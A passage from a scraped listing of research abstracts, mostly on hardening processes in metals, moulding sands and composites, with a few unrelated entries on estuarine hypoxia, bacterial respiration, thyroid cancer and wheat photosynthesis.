of the proposed model is examined by fitting the model to the experimental datapoints obtained on a microtomograph for different materials and source voltages 6. Long-term Effects of Relative Humidity on Properties of Microwave Hardened Moulding Sand with Sodium Silicate Directory of Open Access Journals (Sweden) Stachowicz M. 2017-09-01 Full Text Available Moulding sands containing sodium silicate (water-glass belong to the group of porous mixture with low resistance to increased humidity. Thanks to hydrophilic properties of hardened or even overheated binder, possible is application of effective methods of hydrous reclamation consisting in its secondary hydration. For the same reason (hydrophilia of the binder, moulds and foundry cores made of high-silica moulding sands with sodium silicate are susceptible to the action of components of atmospheric air, including the contained steam. This paper presents results of a research on the effect of (relative humidity on mechanical and technological properties of microwave-hardened moulding mixtures. Specimens of the moulding sand containing 1.5 wt% of sodium water-glass with module 2.5 were subjected, in a laboratory climatic chamber, to long-term action of steam contained in the chamber atmosphere. Concentration of water in atmospheric air was stabilized for 28 days (672 h according to the relative humidity parameter that was ca. 40%, 60% and 80% at constant temperature 20 °C. In three cycles of the examinations, the specimens were taken out from the chamber every 7 days (168 h and their mechanical and technological parameters were determined. It was found on the grounds of laboratory measurements that moulds and cores hardened with microwaves are susceptible to action of atmospheric air and presence of water (as steam intensifies action of the air components on glassy film of sodium silicate. Microwave-hardened moulding sands containing sodium silicate may be stored on a long-term basis in strictly determined atmospheric conditions only, at reduced humidity. In spite of a negative effect of steam contained in the air, the examined moulding mixtures maintain a part of their mechanical and technological properties, so the moulds and foundry cores stored in specified, controlled conditions could be still used in manufacture. 7. COMPLEX SURFACE HARDENING OF STEEL ARTICLES Directory of Open Access Journals (Sweden) A. V. Kovalchuk 2014-01-01 Full Text Available The method of complex surface hardening of steel detailswas designed. The method is a compound of two processes of hardening: chemical heat treatment and physical vapor deposition (PVD of the coating. The result, achieved in this study is much higher, than in other work on this topic and is cumulative. The method designed can be used in mechanical engineering, medicine, energetics and is perspective for military and space technologies. 8. Applicability of Voce equation for tensile flow and work hardening behaviour of P92 ferritic steel International Nuclear Information System (INIS) Sainath, G.; Choudhary, B.K.; Christopher, J.; Isaac Samuel, E.; Mathew, M.D. 2015-01-01 Detailed analysis of true stress (σ)-true plastic strain (ε) data indicated that tensile flow behaviour of P92 ferritic steel can be adequately described by Voce equation at strain rates ranging from 3.16 × 10 −5 to 1.26 × 10 −3 s −1 over a temperature range 300–923 K. The steel exhibited two-stage work hardening in the variations of instantaneous work hardening rate (θ = dσ/dε) with stress. At all the strain rates, the variations in σ-ε, θ-σ and work hardening parameters associated with Voce equation with temperature exhibited three distinct temperature regimes. At intermediate temperatures, the variations in σ-ε, θ-σ and work hardening parameters with temperature and strain rate exhibited anomalous behaviour due to the occurrence of dynamic strain ageing in the steel. The shift in θ-σ towards low stresses, and rapid decrease in flow stress and work hardening parameters with increasing temperature and decreasing strain rate suggested dominance of dynamic recovery at high temperatures. - Highlights: • Tensile flow and work hardening behaviour of P92 steel has been examined. • Applicability of Voce equation to P92 steel is demonstrated. • Three temperature regimes in flow and work hardening has been observed. • Good match between predicted and the experimental tensile properties has been shown 9. Numerical predicting of the structure and stresses state in hardened element made of tool steel Directory of Open Access Journals (Sweden) A. Bokota 2008-03-01 Full Text Available The paper presents numerical model of thcrmal phcnomcna, phasc transformation and mcchanical phcnomcna associated with hardeningof carbon tool steel. Model for evaluation or fractions OF phases and their kinetics bascd on continuous heating diagram (CHT andcontinuous cooling diagram (CCT. The stresses generated during hardening were assumed to rcsult from ~hermal load. stntcturaI plasticdeformations and transformation plasricity. Thc hardened material was assumed to be elastic-plastic, and in ordcr to mark plastic strains the non-isothermal plastic law of flow with the isotropic hardening and condition plasticity of Huber-Misses were used. TherrnophysicaI values of mechanical phenomena dependent on bo~hth e phase composition and temperature. In the numerical example thc simulated estimation of the phasc Fraction and strcss distributions in the hardened axisimmetrical elemcnt was performed. 10. Plastic limit analysis with non linear kinematic strain hardening for metalworking processes applications International Nuclear Information System (INIS) Chaaba, Ali; Aboussaleh, Mohamed; Bousshine, Lahbib; Boudaia, El Hassan 2011-01-01 Limit analysis approaches are widely used to deal with metalworking processes analysis; however, they are applied only for perfectly plastic materials and recently for isotropic hardening ones excluding any kind of kinematic hardening. In the present work, using Implicit Standard Materials concept, sequential limit analysis approach and the finite element method, our objective consists in extending the limit analysis application for including linear and non linear kinematic strain hardenings. Because this plastic flow rule is non associative, the Implicit Standard Materials concept is adopted as a framework of non standard plasticity modeling. The sequential limit analysis procedure which considers the plastic behavior with non linear kinematic strain hardening as a succession of perfectly plastic behavior with yielding surfaces updated after each sequence of limit analysis and geometry updating is applied. Standard kinematic finite element method together with a regularization approach is used for performing two large compression cases (cold forging) in plane strain and axisymmetric conditions 11. A new entropy condition for increasing accuracy and convergence rate of TVD scheme International Nuclear Information System (INIS) Rashidi, M.M.; Esfahanian, V. 2005-01-01 In this paper, a TVD method is applied to the numerical solution of the flow over axisymmetric steady hypersonic viscous flow using TLNS equations over blunt cone. In the TVD schemes, the artificial viscosity (AV) is implemented using entropy condition. For hypersonic flow, Yee entropy condition shows relatively a better stability and convergence rate than others. This paper presents a new entropy condition for increasing the accuracy and convergence rate of the TVD scheme which does not have the difficulty associated with Yee entropy condition for viscous flow in the hypersonic regime. The entropy condition increases the AV in the shocks and decreases AV in the smooth region. The numerical solution has been compared with the Beam and Warming shock fitting approach indicating a better numerical accuracy. (author) 12. Design Features of Hardening Turners with Outstripping Plastic Deformation Directory of Open Access Journals (Sweden) V. M. Yaroslavtsev 2014-01-01 Full Text Available An efficiency of the cutting method with outstripping plastic deformation (OPD in lathe works is defined in many respects by design features of the add-on devices for mechanical hardening of a cut-off layer material in the course of cutting. Applied on lathes, deforming OPD devices can have differing dimensions, placement on the lathe, drive type (manual, electric, hydraulic, pneumatic, pneumohydraulic, electromagnetic, and autonomy degree towards the metalcutting equipment and industrial equipment.At the same time there are a number of inherent design features of work-hardening devices the modernized lathes with OPD use for machining. Now the OPD standard devices implement two principle construction options: loading device is placed on the machine or on the OPD slide support separate of the tool, or it is structurally aligned with the cutting tool. In the latter case the OPD device for turning is called a tool mandrel, which is mounted in a tool post of the machine or, at large dimensions, such a mandrel is mounted on the machine instead of the tool mandrel.When designing the OPD devices, is important to take into consideration production requirements and recommendations for the technological equipment, developed in the course of creation, working off and introduction of such installations for mechanical hardening of material. In compliance with it, OPD devices, their placement on the machine, and working displacements shouldn't limit technological capabilities of the applied metal-cutting equipment. OPD stresses have to be smoothly regulated, with maximum loads being limited to admissible values for the machine model to be modernized. It is necessary to ensure synchronized longitudinal and cross displacements of the cutting tool and OPD hardener with respect to the axis of billet rotation to enable regulation and readjustment of the hardener and tool placement. It ought to foresee the increased mobile components rigidity and manufacturing 13. Hardening XL. Induction technology with rotating crankshaft; Haerten XL. Induktionstechnik mit rotierender Kurbelwelle Energy Technology Data Exchange (ETDEWEB) Dappen, Stefan; Schibisch, Dirk M. [SMS Elotherm GmbH, Remscheid (Germany) 2013-03-15 Crankshafts are used in combustion engines, transforming the con rod's stroke into a rotary motion for driving the axle shaft. Along with this, torsional and flexural fatigue appears and demands a special heat treatment process. The induction hardening with a rotating crankshaft has mostly replaced competitive methods and provides the engine builders with a flexible production process for varying geometries, different hardening zones as well as increasing production rates. (orig.) 14. Temperature dependence of work hardening in sparsely twinning zirconium International Nuclear Information System (INIS) Singh, Jaiveer; Mahesh, S.; Roy, Shomic; Kumar, Gulshan; Srivastava, D.; Dey, G.K.; Saibaba, N.; Samajdar, I. 2017-01-01 Fully recrystallized commercial Zirconium plates were subjected to uniaxial tension. Tests were conducted at different temperatures (123 K - 623 K) and along two plate directions. Both directions were nominally unfavorable for deformation twinning. The effect of the working temperature on crystallographic texture and in-grain misorientation development was insignificant. However, systematic variation in work hardening and in the area fraction and morphology of deformation twins was observed with temperature. At all temperatures, twinning was associated with significant near boundary mesoscopic shear, suggesting a possible linkage with twin nucleation. A binary tree based model of the polycrystal, which explicitly accounts for grain boundary accommodation and implements the phenomenological extended Voce hardening law, was implemented. This model could capture the measured stress-strain response and twin volume fractions accurately. Interestingly, slip and twin system hardness evolution permitted multiplicative decomposition into temperature-dependent, and accumulated strain-dependent parts. Furthermore, under conditions of relatively limited deformation twinning, the work hardening of the slip and twin systems followed two phenomenological laws proposed in the literature for non-twinning single-phase face centered cubic materials. 15. Hardening by annealing and softening by deformation in nanostructured metals DEFF Research Database (Denmark) Huang, X.; Hansen, N.; Tsuji, N. 2006-01-01 We observe that a nanostructured metal can be hardened by annealing and softened when subsequently deformed, which is in contrast to the typical behavior of a metal. Microstructural investigation points to an effect of the structural scale on fundamental mechanisms of dislocation-dislocation and ......We observe that a nanostructured metal can be hardened by annealing and softened when subsequently deformed, which is in contrast to the typical behavior of a metal. Microstructural investigation points to an effect of the structural scale on fundamental mechanisms of dislocation....... As a consequence, the strength decreases and the ductility increases. These observations suggest that for materials such as the nanostructured aluminum studied here, deformation should be used as an optimizing procedure instead of annealing.... 16. Worsened physical condition due to climate change contributes to the increasing hypoxia in Chesapeake Bay. Science.gov (United States) Du, Jiabi; Shen, Jian; Park, Kyeong; Wang, Ya Ping; Yu, Xin 2018-07-15 There are increasing concerns about the impact of worsened physical condition on hypoxia in a variety of coastal systems, especially considering the influence of changing climate. In this study, an EOF analysis of the DO data for 1985-2012, a long-term numerical simulation of vertical exchange, and statistical analysis were applied to understand the underlying mechanisms for the variation of DO condition in Chesapeake Bay. Three types of analysis consistently demonstrated that both biological and physical conditions contribute equally to seasonal and interannual variations of the hypoxic condition in Chesapeake Bay. We found the physical condition (vertical exchange+temperature) determines the spatial and seasonal pattern of the hypoxia in Chesapeake Bay. The EOF analysis showed that the first mode, which was highly related to the physical forcings and correlated with the summer hypoxia volume, can be well explained by seasonal and interannual variations of physical variables and biological activities, while the second mode is significantly correlated with the estuarine circulation and river discharge. The weakened vertical exchange and increased water temperature since the 1980s demonstrated a worsened physical condition over the past few decades. Under changing climate (e.g., warming, accelerated sea-level rise, altered precipitation and wind patterns), Chesapeake Bay is likely to experience a worsened physical condition, which will amplify the negative impact of anthropogenic inputs on eutrophication and consequently require more efforts for nutrient reduction to improve the water quality condition in Chesapeake Bay. Copyright © 2018 Elsevier B.V. All rights reserved. 17. The secondary hardening phenomenon in strain-hardened MP35N alloy International Nuclear Information System (INIS) Asgari, S.; El-Danaf, E.; Shaji, E.; Kalidindi, S.R.; Doherty, R.D. 1998-01-01 Mechanical testing and microscopy techniques were used to investigate the influence of aging on the structure and strengthening of MP35N alloy. It was confirmed that aging the deformed material at 600 C for 4 h provided additional strengthening, here referred to as secondary hardening, in addition to the primary strain hardening. The secondary hardening phenomenon was shown to be distinctly different from typical age hardening processes in that it only occurred in material deformed beyond a certain cold work level. At moderate strains, aging caused a shift in the entire stress-strain curve of the annealed material to higher stresses while at high strains, it produced shear localization and limited work softening. The secondary hardening increment was also found to be grain size dependent. The magnitude of the secondary hardening appeared to be controlled by the flow stress in the strain hardened material. A model is proposed to explain the observations and is supported by direct experimental evidence. The model is based on formation of h.c.p. nuclei through the Suzuki mechanism, that is segregation of solute atoms to stacking faults, on aging the strain hardened material. The h.c.p. precipitates appear to thicken only in the presence of high dislocation density produced by prior cold work 18. Simultaneous surface engineering and bulk hardening of precipitation hardening stainless steel DEFF Research Database (Denmark) Frandsen, Rasmus Berg; Christiansen, Thomas; Somers, Marcel A. J. 2006-01-01 This article addresses simultaneous bulk precipitation hardening and low temperature surface engineering of two commercial precipitation hardening stainless steels: Sandvik Nanoflex® and Uddeholm Corrax®. Surface engineering comprised gaseous nitriding or gaseous carburising. Microstructural....... The duration and temperature of the nitriding/carburising surface hardening treatment can be chosen in agreement with the thermal treatment for obtaining optimal bulk hardness in the precipitation hardening stainless steel....... characterisation of the cases developed included X-ray diffraction analysis, reflected light microscopy and micro-hardness testing. It was found that the incorporation of nitrogen or carbon resulted in a hardened case consisting of a combination of (tetragonal) martensite and expanded (cubic) austenite... 19. Increased biomass yield of Lactococcus lactis during energetically limited growth and respiratory conditions DEFF Research Database (Denmark) Købmann, Brian Jensen; Blank, Lars Mathias; Solem, Christian 2008-01-01 (glucose/mannose-specific phosphotransferase system). Amino acid catabolism could be excluded as the source of the additional ATP. Since mutants without a functional H+-ATPase produced less ATP under sugar starvation and respiratory conditions, the additional ATP yield appears to come partly from energy......Lactococcus lactis is known to be capable of respiration under aerobic conditions in the presence of haemin. In the present study the effect of respiration on ATP production during growth on different sugars was examined. With glucose as the sole carbon source, respiratory conditions in L. lactis...... MG1363 resulted in only a minor increase, 21%, in biomass yield. Since ATP production through substrate-level phosphorylation was essentially identical with and without respiration, the increased biomass yield was a result of energy-saving under respiratory conditions estimated to be 0.4 mol of ATP... 20. Open Source Radiation Hardened by Design Technology Science.gov (United States) Shuler, Robert 2016-01-01 The proposed technology allows use of the latest microcircuit technology with lowest power and fastest speed, with minimal delay and engineering costs, through new Radiation Hardened by Design (RHBD) techniques that do not require extensive process characterization, technique evaluation and re-design at each Moore's Law generation. The separation of critical node groups is explicitly parameterized so it can be increased as microcircuit technologies shrink. The technology will be open access to radiation tolerant circuit vendors. INNOVATION: This technology would enhance computation intensive applications such as autonomy, robotics, advanced sensor and tracking processes, as well as low power applications such as wireless sensor networks. OUTCOME / RESULTS: 1) Simulation analysis indicates feasibility. 2)Compact voting latch 65 nanometer test chip designed and submitted for fabrication -7/2016. INFUSION FOR SPACE / EARTH: This technology may be used in any digital integrated circuit in which a high level of resistance to Single Event Upsets is desired, and has the greatest benefit outside low earth orbit where cosmic rays are numerous. 1. Nanoparticle amount, and not size, determines chain alignment and nonlinear hardening in polymer nanocomposites Science.gov (United States) Varol, H. Samet; Meng, Fanlong; Hosseinkhani, Babak; Malm, Christian; Bonn, Daniel; Bonn, Mischa; Zaccone, Alessio 2017-01-01 Polymer nanocomposites—materials in which a polymer matrix is blended with nanoparticles (or fillers)—strengthen under sufficiently large strains. Such strain hardening is critical to their function, especially for materials that bear large cyclic loads such as car tires or bearing sealants. Although the reinforcement (i.e., the increase in the linear elasticity) by the addition of filler particles is phenomenologically understood, considerably less is known about strain hardening (the nonlinear elasticity). Here, we elucidate the molecular origin of strain hardening using uniaxial tensile loading, microspectroscopy of polymer chain alignment, and theory. The strain-hardening behavior and chain alignment are found to depend on the volume fraction, but not on the size of nanofillers. This contrasts with reinforcement, which depends on both volume fraction and size of nanofillers, potentially allowing linear and nonlinear elasticity of nanocomposites to be tuned independently. PMID:28377517 2. Estimation of radiation hardening in ferritic steels using the cluster dynamics models Energy Technology Data Exchange (ETDEWEB) Kwon, Jun Hyun; Kim, Whung Whoe; Hong, Jun Hwa [Korea Atomic Energy Research Institute, Taejon (Korea, Republic of) 2005-07-01 Evolution of microstructure under irradiation brings about the mechanical property changes of materials, of which the major concern is radiation hardening in this work. Radiation hardening is generally expressed in terms of an increase in yield strength as a function of radiation dose and temperature. Cluster dynamics model for radiation hardening has been developed to describe the evolution of point defects clusters (PDCs) and copperrich precipitates (CRPs). While the mathematical models developed by Stoller focus on the evolution of PDCs in ferritic steels under neutron irradiation, we slightly modify the model by including the CRP growth and estimate the magnitude of hardening induced by PDC and CRP. The model is then used to calculate the changes in yield strength of RPV steels. The calculation results are compared to measured yield strength values, obtained from surveillance testing of PWR vessel steels in France. 3. EFFECT OF HARDENER ON MECHANICAL PROPERTIES OF CARBON FIBRE REINFORCED PHENOLIC RESIN COMPOSITES Directory of Open Access Journals (Sweden) S. SULAIMAN 2008-04-01 Full Text Available In this paper the effect of hardener on mechanical properties of carbon reinforced phenolic resin composites is investigated. Carbon fibre is one of the most useful reinforcement materials in composites, its major use being the manufacture of components in the aerospace, automotive, and leisure industries. In this study, carbon fibres are hot pressed with phenolic resin with various percentages of carbon fibre and hardener contents that range from 5-15%. Composites with 15% hardener content show an increase in flexural strength, tensile strength and hardness. The ultimate tensile strength (UTS, flexural strength and hardness for 15% hardener are 411.9 MPa, 51.7 MPa and 85.4 HRR respectively. 4. Stage IV work-hardening related to disorientations in dislocation structures DEFF Research Database (Denmark) Pantleon, W. 2004-01-01 The effect of deformation-induced disorientations on the work-hardening of metals is modelled based on dislocation dynamics. Essentially, Kocks’ dislocation model describing stage III hardening is extended to stage IV by incorporation of excess dislocations related to the disorientations....... Disorientations evolving from purely statistical reasons — leading to a square root dependence of the average disorientation angle on strain — affect the initial work-hardening rate (and the saturation stress) of stage III only slightly. On the other hand, deterministic contributions to the development...... of disorientations, as differences in the activated slip systems across boundaries, cause a linear increase of the flow stress at large strains. Such a constant work-hardening rate is characteristic for stage IV.... 5. Improving precipitation hardening behavior of Mg−Zn based alloys with Ce−Ca microalloying additions Energy Technology Data Exchange (ETDEWEB) Langelier, B., E-mail: [email protected] [Mechanical & Mechatronics Engineering, The University of Waterloo, N2L 3G1 (Canada); Canadian Centre for Electron Microscopy, McMaster University, L8S 4L8 (Canada); Korinek, A. [Canadian Centre for Electron Microscopy, McMaster University, L8S 4L8 (Canada); Donnadieu, P. [Univ. Grenoble Alpes, SIMAP, F-38000 Grenoble (France); CNRS, SIMAP, F-38000 Grenoble (France); Esmaeili, S. [Mechanical & Mechatronics Engineering, The University of Waterloo, N2L 3G1 (Canada) 2016-10-15 The precipitation hardening behavior of newly developed Mg−Zn−Ca−Ce alloys, with modified texture and improved ductility, is studied to delineate the microstructural characteristics that lead to effective hardening upon ageing treatments. Advanced electron microscopy and atom probe techniques are used to analyze the structural characteristics in relevance to the hardening potential. It has been found that the formation of a new basal precipitate phase, which evolves from a single atomic layer GP zone, and is finely distributed in both under-aged and peak-aged microstructures, has a significant impact in the improvement of the hardening response compared with the base Mg−Zn alloys. It has also been found that the β′{sub 1} rod precipitates, commonly formed during ageing treatments of Mg−Zn alloys, have their size and distribution significantly refined in the Ca−Ce containing alloys. The role of alloy chemistry in the formation of the fine basal plate GP zones and the refinement in β′{sub 1} precipitation and their relationships to the hardening behavior are discussed. It is proposed that Ca microalloying governs the formation of the GP zones and the enhancement of hardening, particularly in the under-aged conditions, but that this is aided by a beneficial effect from Ce. - Highlights: • Ce−Ca microalloying additions improve hardening in Mg−Zn, over Ce or Ca alone. • Improved hardening is due to refined β′{sub 1} rods, and fine basal plate precipitates. • Atom probe tomography identifies Ca in both β′{sub 1} and the fine basal plates. • The fine basal plates originate as ordered monolayer GP zones with 1:1 Zn:Ca (at.%). • With ageing GP zones become more Zn-rich and transform to the fine basal plates. 6. Plasma nitriding - an eco friendly surface hardening process International Nuclear Information System (INIS) Mukherjee, S. 2015-01-01 Surface hardening is a process of heating the metal such that the surface gets only hardened. This process is adopted for many components like gears, cams, and crankshafts, which desire high hardness on the outer surface with a softer core to withstand the shocks. So, to attain such properties processes like carburising, nitriding, flame hardening and induction hardening are employed. Amongst these processes nitriding is the most commonly used process by many industries. In nitriding process the steel material is heated to a temperature of around 550 C and then exposed to atomic nitrogen. This atomic nitrogen reacts with iron and other alloying elements and forms nitrides, which are very hard in nature. By this process both wear resistance and hardness of the product can be increased. The atomic nitrogen required for this process can be obtained using ammonia gas (gas nitriding), cyanide based salt bath (liquid nitriding) and plasma medium (plasma nitriding). However, plasma nitriding has recently received considerable industrial interest owing to its characteristic of faster nitrogen penetration, short treatment time, low process temperature, minimal distortion, low energy use and easier control of layer formation compared with conventional techniques such as gas and liquid nitriding. This process can be used for all ferrous materials including stainless steels. Plasma nitriding is carried out using a gas mixture of nitrogen and hydrogen gas at sub atmospheric pressures hence, making it eco-friendly in nature. Plasma nitriding allows modification of the surface layers and hardness profiles by changing the gas mixture and temperature. The wide applicable temperature range enables a multitude of applications, beyond the possibilities of gas or salt bath processes. This has led to numerous applications of this process in industries such as the manufacture of machine parts for plastics and food processing, packaging and tooling as well as pumps and hydraulic, machine 7. Importance of calcium and magnesium in water - water hardening Science.gov (United States) Barloková, D.; Ilavský, J.; Kapusta, O.; Šimko, V. 2017-10-01 Basic information about importance of calcium and magnesium in water, about their properties, effect to human health, problems what can cause under the lower ( 5 mmol/L) concentrations in water supply distribution systems, the most commonly used methods of water hardening are presented. The article contains the water hardening results carried out during the pilot plant experiments in WTP Hriňová and WTP Turček. For water hardening, treated water at the end of the process line, i.e., after coagulation, sedimentation and filtration, saturated with CO2 and filtrated through half-burnt dolomite material (PVD) was used. The results show that the filtration rate is 17.1 m/h in the case of WTP Hriňová and 15.2 m/h in the case of WTP Turček to achieve the recommended concentration of Ca and Mg in the treated water after the addition of CO2 and filtration through PVD. The longer the water contact time with PVD (depending on the CO2 content), the more water is enriched with magnesium, but the calcium concentration has not so much increased. 8. Helium-induced hardening effect in polycrystalline tungsten Science.gov (United States) Kong, Fanhang; Qu, Miao; Yan, Sha; Zhang, Ailin; Peng, Shixiang; Xue, Jianming; Wang, Yugang 2017-09-01 In this paper, helium induced hardening effect of tungsten was investigated. 50 keV He2+ ions at fluences vary from 5 × 1015 cm-2 to 5 × 1017 cm-2 were implanted into polycrystalline tungsten at RT to create helium bubble-rich layers near the surface. The microstructure and mechanical properties of the irradiated specimens were studied by TEM and nano-indentor. Helium bubble rich layers are formed in near surface region, and the layers become thicker with the rise of fluences. Helium bubbles in the area of helium concentration peak are found to grow up, while the bubble density is almost unchanged. Obvious hardening effect is induced by helium implantation in tungsten. Micro hardness increases rapidly with the fluence firstly, and more slowly when the fluence is above 5 × 1016 cm-2. The hardening effect of tungsten can be attributed to helium bubbles, which is found to be in agreement with the Bacon-Orowan stress formula. The growing diameter is the major factor rather than helium bubbles density (voids distance) in the process of helium implantation at fluences below 5 × 1017 cm-2. 9. A procedure for the hardening of materials International Nuclear Information System (INIS) Dearnaley, G. 1984-01-01 A method of hardening metals or ceramics which have fcc, bcc or hcp structures in which two species of differing atomic radii are introduced into the material to be hardened. One species is of a size such that it can diffuse through the lattice normally. The other is of a size such that it can diffuse readily only along dislocations. Ion bombardment is the preferred method of introducing the species with different atomic radii. The material to be hardened is subjected to heat and plastic deformation so as to cause a large number of dislocations with jogs. The species meet at the jogs where they interact and are trapped and set up strain fields which prevent further deformation of the material. (author) 10. An Anisotropic Hardening Model for Springback Prediction Science.gov (United States) Zeng, Danielle; Xia, Z. Cedric 2005-08-01 As more Advanced High-Strength Steels (AHSS) are heavily used for automotive body structures and closures panels, accurate springback prediction for these components becomes more challenging because of their rapid hardening characteristics and ability to sustain even higher stresses. In this paper, a modified Mroz hardening model is proposed to capture realistic Bauschinger effect at reverse loading, such as when material passes through die radii or drawbead during sheet metal forming process. This model accounts for material anisotropic yield surface and nonlinear isotropic/kinematic hardening behavior. Material tension/compression test data are used to accurately represent Bauschinger effect. The effectiveness of the model is demonstrated by comparison of numerical and experimental springback results for a DP600 straight U-channel test. 11. An Anisotropic Hardening Model for Springback Prediction International Nuclear Information System (INIS) Zeng, Danielle; Xia, Z. Cedric 2005-01-01 As more Advanced High-Strength Steels (AHSS) are heavily used for automotive body structures and closures panels, accurate springback prediction for these components becomes more challenging because of their rapid hardening characteristics and ability to sustain even higher stresses. In this paper, a modified Mroz hardening model is proposed to capture realistic Bauschinger effect at reverse loading, such as when material passes through die radii or drawbead during sheet metal forming process. This model accounts for material anisotropic yield surface and nonlinear isotropic/kinematic hardening behavior. Material tension/compression test data are used to accurately represent Bauschinger effect. The effectiveness of the model is demonstrated by comparison of numerical and experimental springback results for a DP600 straight U-channel test 12. Microstructure and grain size effects on irradiation hardening of low carbon steel for reactor tanks Energy Technology Data Exchange (ETDEWEB) Milasin, N [Institute of Nuclear Sciences Boris Kidric, Vinca, Beograd (Serbia and Montenegro) 1964-05-15 Irradiation hardening of steel for reactor pressure vessels has been studied extensively during the past few years. A great number of experimental results concerning the behaviour of these steels in the radiation field and several review papers (1,2) have been published. Most of the papers deal with the effects of specific metallurgical factors or irradiation conditions (temperature, flux) on irradiation hardening and embrittlement. In addition, a number of experiments are performed to give evidence on the mechanism of irradiation hardening of these steels. However, this mechanism is still unknown due to the complexity of steel as a system. Among different methods used in radiation damage studies, the changes of mechanical properties have been mainly investigated. By using Hall-Petch's empirical relation, {sigma}{sub y}={sigma}{sub i}+k{sub y} d{sup -1/2} between lower yield stress, {sigma}{sub y}, and grain size, 2d, the information about the effect of irradiation on the parameters {sigma}{sub i} and k{sub y} is obtained. Taking as a base interpretation of {sigma}{sub i} and k{sub y} given by Petch and his co-workers it has been concluded that radiation does not change the stress to start slip but that it increase the friction that opposes the passage of free dislocations across a slip plane. In attempting to apply Hall-Petch's relation to one unirradiated ferritic steel with a carbon content higher than 0.15% some difficulties were encountered. The results obtained indicate that the influence of grain size can not be isolated from other factors introduced by the treatments used to produce different grain sizes. This paper deals with a similar problem in the case of irradiated steel. The results obtained give the changes of the mechanical properties of steel in neutron irradiation field as a function of microstructure and grain size. In addition, the mechanical properties of irradiated steel are measured after annealing at 150 deg C and 450 deg C. On the basis of 13. Microstructure and grain size effects on irradiation hardening of low carbon steel for reactor tanks International Nuclear Information System (INIS) Milasin, N. 1964-05-01 Irradiation hardening of steel for reactor pressure vessels has been studied extensively during the past few years. A great number of experimental results concerning the behaviour of these steels in the radiation field and several review papers (1,2) have been published. Most of the papers deal with the effects of specific metallurgical factors or irradiation conditions (temperature, flux) on irradiation hardening and embrittlement. In addition, a number of experiments are performed to give evidence on the mechanism of irradiation hardening of these steels. However, this mechanism is still unknown due to the complexity of steel as a system. Among different methods used in radiation damage studies, the changes of mechanical properties have been mainly investigated. By using Hall-Petch's empirical relation, σ y =σ i +k y d -1/2 between lower yield stress, σ y , and grain size, 2d, the information about the effect of irradiation on the parameters σ i and k y is obtained. Taking as a base interpretation of σ i and k y given by Petch and his co-workers it has been concluded that radiation does not change the stress to start slip but that it increase the friction that opposes the passage of free dislocations across a slip plane. In attempting to apply Hall-Petch's relation to one unirradiated ferritic steel with a carbon content higher than 0.15% some difficulties were encountered. The results obtained indicate that the influence of grain size can not be isolated from other factors introduced by the treatments used to produce different grain sizes. This paper deals with a similar problem in the case of irradiated steel. The results obtained give the changes of the mechanical properties of steel in neutron irradiation field as a function of microstructure and grain size. In addition, the mechanical properties of irradiated steel are measured after annealing at 150 deg C and 450 deg C. On the basis of the experimental results obtained the relative microstructure and 14. A general shakedown theorem for elastic/plastic bodies with work hardening International Nuclear Information System (INIS) Ponter, A.R.S. 1975-01-01 In recent years the design of metallic structures under variable loading has been assisted by the application of Melan's lower bound theorem for the shakedown of an elastic/perfectly plastic structure. The design codes for both portal frames and pressure vessels have taken account of such calculations. The theory of shakedown suffers from two defects, geometry changes are ignored and the material behavior is described by a perfectly plastic constitutive relationship which includes neither work hardening nor the Bauschinger effect. This paper is concerned with the latter problem. A very general lower bound shakedown theorem for an arbitrary time-independent material in terms of functional properties of the constitutive relationship is derived. The theorem is then applied to perfect, isotropic and kinematic hardening plasticity. It is shown that the result for all three constitutive relationships may be related to each other through certain extremal stress histories. As well as providing a sufficient condition for shakedown, the theory also provides bounds of the deflection of the structure in the process of reaching the shakedown state. The bounds are discussed and derived for two simple beam problems. Both static and dynamic problems are considered. The theory derived in this paper demonstrates that shakedown analysis may be extended to a wide range of material behavior without increasing the complexity of the resulting calculation 15. A Temporal-Specific and Transient cAMP Increase Characterizes Odorant Classical Conditioning Science.gov (United States) Cui, Wen; Smith, Andrew; Darby-King, Andrea; Harley, Carolyn W.; McLean, John H. 2007-01-01 Increases in cyclic adenosine monophosphate (cAMP) are proposed to initiate learning in a wide variety of species. Here, we measure changes in cAMP in the olfactory bulb prior to, during, and following a classically conditioned odor preference trial in rat pups. Measurements were taken up to the point of maximal CREB phosphorylation in olfactory… 16. Benign Thyroid Conditions Associated with Increased Risk of Thyroid Cancer Later in Life Science.gov (United States) In a new study from the National Cancer Institute and Aarhus University Hospital in Denmark, researchers report an association between diagnosis of hyperthyroidism and thyroiditis (inflammation of the thyroid gland), two benign thyroid conditions, and increased risk of differentiated thyroid cancer. 17. Technology of hardening fills for mined spaces International Nuclear Information System (INIS) Simek, P.; Holas, M.; Chyla, A.; Pech, P. 1985-01-01 The technology is described of hardening fills for mined spaces of uranium deposits in North Bohemian chalk. A special equipment was developed for the controlled preparation of a hardening mixture. The composition of the fill is determined by the strength of the filled rock, expecially by the standard strength, i.e., the minimal strength of the filling under uniaxial pressure. The said parameter determines the consumption of binding materials and thereby the total costs of the filling. A description is presented of the filling technology, including rabbit tube transport of the mixture and quality control. (Pu) 18. Radiation hardening revisited: Role of intracascade clustering DEFF Research Database (Denmark) Singh, B.N.; Foreman, A.J.E.; Trinkaus, H. 1997-01-01 be explained in terms of conventional dispersed-barrier hardening because (a) the grown-in dislocations are not free, and (b) irradiation-induced defect clusters are not rigid indestructible Orowan obstacles. A new model called 'cascade-induced source hardening' is presented where glissile loops produced...... directly in cascades are envisaged to decorate the grown-in dislocations so that they cannot act as dislocation sources. The upper yield stress is related to the breakaway stress which is necessary to pull the dislocation away from the clusters/loops decorating it. The magnitude of the breakaway stress has... 19. Increased SBPase activity improves photosynthesis and grain yield in wheat grown in greenhouse conditions. Science.gov (United States) Driever, Steven M; Simkin, Andrew J; Alotaibi, Saqer; Fisk, Stuart J; Madgwick, Pippa J; Sparks, Caroline A; Jones, Huw D; Lawson, Tracy; Parry, Martin A J; Raines, Christine A 2017-09-26 To meet the growing demand for food, substantial improvements in yields are needed. This is particularly the case for wheat, where global yield has stagnated in recent years. Increasing photosynthesis has been identified as a primary target to achieve yield improvements. To increase leaf photosynthesis in wheat, the level of the Calvin-Benson cycle enzyme sedoheptulose-1,7-biphosphatase (SBPase) has been increased through transformation and expression of a Brachypodium distachyon SBPase gene construct. Transgenic lines with increased SBPase protein levels and activity were grown under greenhouse conditions and showed enhanced leaf photosynthesis and increased total biomass and dry seed yield. This showed the potential of improving yield potential by increasing leaf photosynthesis in a crop species such as wheat. The results are discussed with regard to future strategies for further improvement of photosynthesis in wheat.This article is part of the themed issue 'Enhancing photosynthesis in crop plants: targets for improvement'. © 2017 The Authors. 20. Study of a design criterion for 316L irradiated represented 